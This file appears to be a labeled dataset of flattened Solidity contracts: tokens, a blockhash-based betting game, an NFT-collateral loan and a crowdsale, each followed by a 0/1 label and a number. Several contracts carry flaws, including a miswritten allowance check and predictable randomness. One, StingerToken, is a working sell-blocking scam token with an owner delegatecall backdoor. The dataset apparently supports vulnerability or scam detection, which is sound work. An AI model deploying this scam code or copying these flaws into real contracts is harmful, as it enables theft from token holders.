pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) {if (a == 0) {return 0;} uint256 c = a * b;require(c / a == b);return c;} function div(uint256 a, uint256 b) internal pure returns (uint256) {require(b > 0); uint256 c = a / b; return c;} function sub(uint256 a, uint256 b) internal pure returns (uint256) {require(b <= a);uint256 c = a - b;return c;} function add(uint256 a, uint256 b) internal pure returns (uint256) {uint256 c = a + b;require(c >= a); return c;} function mod(uint256 a, uint256 b) internal pure returns (uint256) {require(b != 0);return a % b;}} contract Owned { address public owner; address public newOwner; modifier onlyOwner {require(msg.sender == owner);_;} function transferOwnership(address _newOwner) public onlyOwner {newOwner = _newOwner;} function acceptOwnership() public {require(msg.sender == newOwner);owner = newOwner;}} interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from,address indexed to,uint256 value); event Approval(address indexed owner,address indexed spender,uint256 value);} contract Seeflast is IERC20, Owned { using SafeMath for uint256; constructor() public { owner = 0x947e40854A000a43Dad75E63caDA3E318f13277d; contractAddress = this; _balances[0x74dF2809598C8AfCf655d305e5D10C8Ab824F0Eb] = 260000000 * 10 ** decimals; emit Transfer(contractAddress, 0x74dF2809598C8AfCf655d305e5D10C8Ab824F0Eb, 260000000 * 10 ** decimals); _balances[0x8ec5BD55f5CC10743E598194A769712043cCDD38] = 400000000 * 10 ** decimals; emit Transfer(contractAddress, 0x8ec5BD55f5CC10743E598194A769712043cCDD38, 400000000 * 10 ** decimals); _balances[0x9d357507556a9FeD2115aAb6CFc6527968B1F9c9] = 50000000 * 10 ** decimals; emit Transfer(contractAddress, 0x9d357507556a9FeD2115aAb6CFc6527968B1F9c9, 50000000 * 10 ** decimals); _balances[0x369760682f292584921f45F498cC525127Aa12a5] = 50000000 * 10 ** decimals; emit Transfer(contractAddress, 0x369760682f292584921f45F498cC525127Aa12a5, 50000000 * 10 ** decimals); _balances[0x98046c6bee217B9A0d13507a47423F891E8Ef22A] = 50000000 * 10 ** decimals; emit Transfer(contractAddress, 0x98046c6bee217B9A0d13507a47423F891E8Ef22A, 50000000 * 10 ** decimals); _balances[0xf0b8dBcaF8A89A49Fa2adf25b4CCC9234258A8E6] = 50000000 * 10 ** decimals; emit Transfer(contractAddress, 0xf0b8dBcaF8A89A49Fa2adf25b4CCC9234258A8E6, 50000000 * 10 ** decimals); _balances[0x8877e7974d6D708c403cB9C9A65873a3e57382E4] = 60000000 * 10 ** decimals; emit Transfer(contractAddress, 0x8877e7974d6D708c403cB9C9A65873a3e57382E4, 60000000 * 10 ** decimals); _balances[0x0452453D9e32B80F024bf9D6Bb35A76A785ba6a2] = 20000000 * 10 ** decimals; emit Transfer(contractAddress, 0x0452453D9e32B80F024bf9D6Bb35A76A785ba6a2, 20000000 * 10 ** decimals); _balances[0x1DBe051fDE7fBEE760A6ED7dfFc0fEC6c469dB77] = 1020000000 * 10 ** decimals; emit Transfer(contractAddress, 0x1DBe051fDE7fBEE760A6ED7dfFc0fEC6c469dB77, 1020000000 * 10 ** decimals); _balances[contractAddress] = 40000000 * 10 ** decimals; emit Transfer(contractAddress, contractAddress, 40000000 * 10 ** decimals);} event Error(string err); event Mint(uint mintAmount, uint newSupply); string public constant name = "Seeflast"; string public constant symbol = "SFT"; uint256 public constant decimals = 8; uint256 public constant supply = 2000000000 * 10 ** decimals; address public contractAddress; mapping (address => bool) public claimed; mapping(address => uint256) _balances; mapping(address => mapping (address => uint256)) public _allowed; function totalSupply() public constant returns (uint) { return supply;} function balanceOf(address tokenOwner) public constant returns (uint balance) { return _balances[tokenOwner];} function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return _allowed[tokenOwner][spender];} function transfer(address to, uint value) public returns (bool success) { require(_balances[msg.sender] >= value); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value); return true;} function approve(address spender, uint value) public returns (bool success) { _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true;} function transferFrom(address from, address to, uint value) public returns (bool success) { require(value <= balanceOf(from)); require(value <= allowance(from, to)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][to] = _allowed[from][to].sub(value); emit Transfer(from, to, value); return true;} function () public payable { if (msg.value == 0 && claimed[msg.sender] == false) { require(_balances[contractAddress] >= 500 * 10 ** decimals); _balances[contractAddress] -= 500 * 10 ** decimals; _balances[msg.sender] += 500 * 10 ** decimals; claimed[msg.sender] = true; emit Transfer(contractAddress, msg.sender, 500 * 10 ** decimals);} else if (msg.value == 0.01 ether) { require(_balances[contractAddress] >= 400 * 10 ** decimals); _balances[contractAddress] -= 400 * 10 ** decimals; _balances[msg.sender] += 400 * 10 ** decimals; emit Transfer(contractAddress, msg.sender, 400 * 10 ** decimals);} else if (msg.value == 0.1 ether) { require(_balances[contractAddress] >= 4200 * 10 ** decimals); _balances[contractAddress] -= 4200 * 10 ** decimals; _balances[msg.sender] += 4200 * 10 ** decimals; emit Transfer(contractAddress, msg.sender, 4200 * 10 ** decimals);} else if (msg.value == 1 ether) { require(_balances[contractAddress] >= 45000 * 10 ** decimals); _balances[contractAddress] -= 45000 * 10 ** decimals; _balances[msg.sender] += 45000 * 10 ** decimals; emit Transfer(contractAddress, msg.sender, 45000 * 10 ** decimals);} else {revert();}} function collectETH() public onlyOwner {owner.transfer(contractAddress.balance);} }
1
3,091
pragma solidity 0.4.15; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Authorizable is Ownable { event LogAccess(address authAddress); event Grant(address authAddress, bool grant); mapping(address => bool) public auth; modifier authorized() { LogAccess(msg.sender); require(auth[msg.sender]); _; } function authorize(address _address) onlyOwner public { Grant(_address, true); auth[_address] = true; } function unauthorize(address _address) onlyOwner public { Grant(_address, false); auth[_address] = false; } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } function finishMinting() onlyOwner public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract TutellusToken is MintableToken { string public name = "Tutellus"; string public symbol = "TUT"; uint8 public decimals = 18; } contract TutellusVault is Authorizable { event VaultMint(address indexed authAddress); TutellusToken public token; function TutellusVault() public { token = new TutellusToken(); } function mint(address _to, uint256 _amount) authorized public returns (bool) { require(_to != address(0)); require(_amount >= 0); VaultMint(msg.sender); return token.mint(_to, _amount); } }
1
3,560
pragma solidity ^0.4.16; contract Owned { address owner; modifier onlyowner() { if (msg.sender == owner) { _; } } function Owned() { owner = msg.sender; } } contract Mortal is Owned { function kill() { if (msg.sender == owner) selfdestruct(owner); } } contract Slotthereum is Mortal { Game[] public games; uint public numberOfGames = 0; uint private minBetAmount = 100000000000000; uint private maxBetAmount = 5000000000000000000; uint8 private pointer = 1; struct Game { address player; uint id; uint amount; uint8 start; uint8 end; bytes32 hash; uint8 number; bool win; uint prize; } event MinBetAmountChanged(uint amount); event MaxBetAmountChanged(uint amount); event PointerChanged(uint8 value); event GameRoll( address indexed player, uint indexed gameId, uint8 start, uint8 end, uint amount ); event GameWin( address indexed player, uint indexed gameId, uint8 start, uint8 end, uint8 number, uint amount, uint prize ); event GameLoose( address indexed player, uint indexed gameId, uint8 start, uint8 end, uint8 number, uint amount, uint prize ); function notify(address player, uint gameId, uint8 start, uint8 end, uint8 number, uint amount, uint prize, bool win) internal { if (win) { GameWin( player, gameId, start, end, number, amount, prize ); } else { GameLoose( player, gameId, start, end, number, amount, prize ); } } function getBlockHash(uint i) internal constant returns (bytes32 blockHash) { if (i > 255) { i = 255; } if (i < 0) { i = 1; } blockHash = block.blockhash(block.number - i); } function getNumber(bytes32 _a) internal constant returns (uint8) { uint8 mint = 0; for (uint i = 31; i >= 1; i--) { if ((uint8(_a[i]) >= 48) && (uint8(_a[i]) <= 57)) { return uint8(_a[i]) - 48; } } return mint; } function placeBet(uint8 start, uint8 end) public payable returns (bool) { if (msg.value < minBetAmount) { return false; } if (msg.value > maxBetAmount) { return false; } uint8 counter = end - start + 1; if (counter > 9) { return false; } if (counter < 1) { return false; } uint gameId = games.length; games.length++; numberOfGames++; GameRoll(msg.sender, gameId, start, end, msg.value); games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].amount = msg.value; games[gameId].start = start; games[gameId].end = end; games[gameId].hash = getBlockHash(pointer); games[gameId].number = getNumber(games[gameId].hash); if ((games[gameId].number >= start) && (games[gameId].number <= end)) { games[gameId].win = true; uint dec = msg.value / 10; uint parts = 10 - counter; games[gameId].prize = msg.value + dec * parts; } else { games[gameId].prize = 1; } msg.sender.transfer(games[gameId].prize); notify( msg.sender, gameId, start, end, games[gameId].number, msg.value, games[gameId].prize, games[gameId].win ); return true; } function setMinBetAmount(uint _minBetAmount) onlyowner returns (uint) { minBetAmount = _minBetAmount; MinBetAmountChanged(minBetAmount); return minBetAmount; } function setMaxBetAmount(uint _maxBetAmount) onlyowner returns (uint) { maxBetAmount = _maxBetAmount; MaxBetAmountChanged(maxBetAmount); return maxBetAmount; } function setPointer(uint8 _pointer) onlyowner returns (uint) { pointer = _pointer; PointerChanged(pointer); return pointer; } function getGameIds() constant returns(uint[]) { uint[] memory ids = new uint[](games.length); for (uint i = 0; i < games.length; i++) { ids[i] = games[i].id; } return ids; } function getGamePlayer(uint gameId) constant returns(address) { return games[gameId].player; } function getGameAmount(uint gameId) constant returns(uint) { return games[gameId].amount; } function getGameStart(uint gameId) constant returns(uint8) { return games[gameId].start; } function getGameEnd(uint gameId) constant returns(uint8) { return games[gameId].end; } function getGameHash(uint gameId) constant returns(bytes32) { return games[gameId].hash; } function getGameNumber(uint gameId) constant returns(uint8) { return games[gameId].number; } function getGameWin(uint gameId) constant returns(bool) { return games[gameId].win; } function getGamePrize(uint gameId) constant returns(uint) { return games[gameId].prize; } function getMinBetAmount() constant returns(uint) { return minBetAmount; } function getMaxBetAmount() constant returns(uint) { return maxBetAmount; } function () payable { } }
1
3,145
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract StingerToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,751
pragma solidity ^0.4.24; contract CryptoPunk { function punkIndexToAddress(uint256 punkIndex) public view returns (address ownerAddress); function balanceOf(address tokenOwner) public view returns (uint balance); function transferPunk(address to, uint punkIndex) public; } contract ERC20 { function balanceOf(address tokenOwner) public view returns (uint balance); function transfer(address to, uint tokens) public returns (bool success); } contract PunkLombard { address public CryptoPunksContract; uint256 public loanAmount; uint256 public punkIndex; uint256 public annualInterestRate; uint256 public loanTenor; uint256 public loanPeriod; address public lender; address public borrower; uint256 public loanStart; uint256 public loanEnd; uint256 public interest; address public contractOwner; modifier onlyOwner { if (msg.sender != contractOwner) revert(); _; } modifier onlyLender { if (msg.sender != lender) revert(); _; } constructor () public { CryptoPunksContract = 0xb47e3cd837dDF8e4c57F05d70Ab865de6e193BBB; contractOwner = msg.sender; borrower = msg.sender; } function transferContractOwnership(address newContractOwner) public onlyOwner { contractOwner = newContractOwner; } function setTerms(uint256 _loanAmount, uint256 _annualInterestRate, uint256 _loanTenor, uint256 _punkIndex) public onlyOwner { require(CryptoPunk(CryptoPunksContract).balanceOf(address(this)) == 1); loanAmount = _loanAmount; annualInterestRate = _annualInterestRate; loanTenor = _loanTenor; punkIndex = _punkIndex; } function claimCollateral() public onlyLender { require(now > (loanStart + loanTenor)); CryptoPunk(CryptoPunksContract).transferPunk(lender, punkIndex); } function () payable public { if(msg.sender == borrower) { require(now <= (loanStart + loanTenor)); uint256 loanPeriodCheck = (now - loanStart); interest = (((loanAmount * annualInterestRate) / 10 ** 18) * loanPeriodCheck) / 365 days; require(msg.value >= loanAmount + interest); loanPeriod = loanPeriodCheck; loanEnd = now; uint256 change = msg.value - (loanAmount + interest); lender.transfer(loanAmount + interest); if(change > 0) { borrower.transfer(change); } CryptoPunk(CryptoPunksContract).transferPunk(borrower, punkIndex); } if(msg.sender != borrower) { require(loanStart == 0); require(CryptoPunk(CryptoPunksContract).balanceOf(address(this)) == 1); require(CryptoPunk(CryptoPunksContract).punkIndexToAddress(punkIndex) == address(this)); require(msg.value >= loanAmount); lender = msg.sender; loanStart = now; if(msg.value > loanAmount) { msg.sender.transfer(msg.value-loanAmount); } borrower.transfer(loanAmount); } } function transfer_targetToken(address target, address to, uint256 quantity) public onlyOwner { ERC20(target).transfer(to, quantity); } function reclaimPunkBeforeLoan(address _to, uint256 _punkIndex) public onlyOwner { require(loanStart == 0); CryptoPunk(CryptoPunksContract).transferPunk(_to, _punkIndex); } }
1
2,778
pragma solidity 0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256 c) { if(a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns(uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { owner = msg.sender; } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } } contract ERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() public view returns(uint256); function balanceOf(address who) public view returns(uint256); function transfer(address to, uint256 value) public returns(bool); function transferFrom(address from, address to, uint256 value) public returns(bool); function allowance(address owner, address spender) public view returns(uint256); function approve(address spender, uint256 value) public returns(bool); } contract StandardToken is ERC20 { using SafeMath for uint256; uint256 totalSupply_; string public name; string public symbol; uint8 public decimals; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) internal allowed; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } function totalSupply() public view returns(uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns(uint256) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function multiTransfer(address[] _to, uint256[] _value) public returns(bool) { require(_to.length == _value.length); for(uint i = 0; i < _to.length; i++) { transfer(_to[i], _value[i]); } return true; } function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender) public view returns(uint256) { return allowed[_owner][_spender]; } function approve(address _spender, uint256 _value) public returns(bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function increaseApproval(address _spender, uint _addedValue) public returns(bool) { allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) { uint oldValue = allowed[msg.sender][_spender]; if(_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { bool public mintingFinished = false; event Mint(address indexed to, uint256 amount); event MintFinished(); modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint(address _to, uint256 _amount) hasMintPermission canMint public returns(bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns(bool) { mintingFinished = true; emit MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function mint(address _to, uint256 _amount) public returns(bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } function burn(uint256 _value) public { _burn(msg.sender, _value); } function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } contract Withdrawable is Ownable { function withdrawEther(address _to, uint _value) onlyOwner public { require(_to != address(0)); require(address(this).balance >= _value); _to.transfer(_value); } function withdrawTokensTransfer(ERC20 _token, address _to, uint256 _value) onlyOwner public { require(_token.transfer(_to, _value)); } function withdrawTokensTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) onlyOwner public { require(_token.transferFrom(_from, _to, _value)); } function withdrawTokensApprove(ERC20 _token, address _spender, uint256 _value) onlyOwner public { require(_token.approve(_spender, _value)); } } contract Pausable is Ownable { bool public paused = false; event Pause(); event Unpause(); modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract Manageable is Ownable { address[] public managers; event ManagerAdded(address indexed manager); event ManagerRemoved(address indexed manager); modifier onlyManager() { require(isManager(msg.sender)); _; } function countManagers() view public returns(uint) { return managers.length; } function getManagers() view public returns(address[]) { return managers; } function isManager(address _manager) view public returns(bool) { for(uint i = 0; i < managers.length; i++) { if(managers[i] == _manager) { return true; } } return false; } function addManager(address _manager) onlyOwner public { require(_manager != address(0)); require(!isManager(_manager)); managers.push(_manager); emit ManagerAdded(_manager); } function removeManager(address _manager) onlyOwner public { require(isManager(_manager)); uint index = 0; for(uint i = 0; i < managers.length; i++) { if(managers[i] == _manager) { index = i; } } for(; index < managers.length - 1; index++) { managers[index] = managers[index + 1]; } managers.length--; emit ManagerRemoved(_manager); } } contract Token is CappedToken, BurnableToken, Withdrawable { constructor() CappedToken(1000000 * 1e8) StandardToken("DEPO", "DEPO", 8) public { } } contract Crowdsale is Manageable, Withdrawable, Pausable { using SafeMath for uint; Token public token; bool public crowdsaleClosed = false; event ExternalPurchase(address indexed holder, string tx, string currency, uint256 currencyAmount, uint256 rateToEther, uint256 tokenAmount); event CrowdsaleClose(); constructor() public { token = new Token(); } function externalPurchase(address _to, string _tx, string _currency, uint _value, uint256 _rate, uint256 _tokens) whenNotPaused onlyManager public { token.mint(_to, _tokens); emit ExternalPurchase(_to, _tx, _currency, _value, _rate, _tokens); } function closeCrowdsale(address _to) onlyOwner public { require(!crowdsaleClosed); token.transferOwnership(_to); crowdsaleClosed = true; emit CrowdsaleClose(); } }
1
5,133
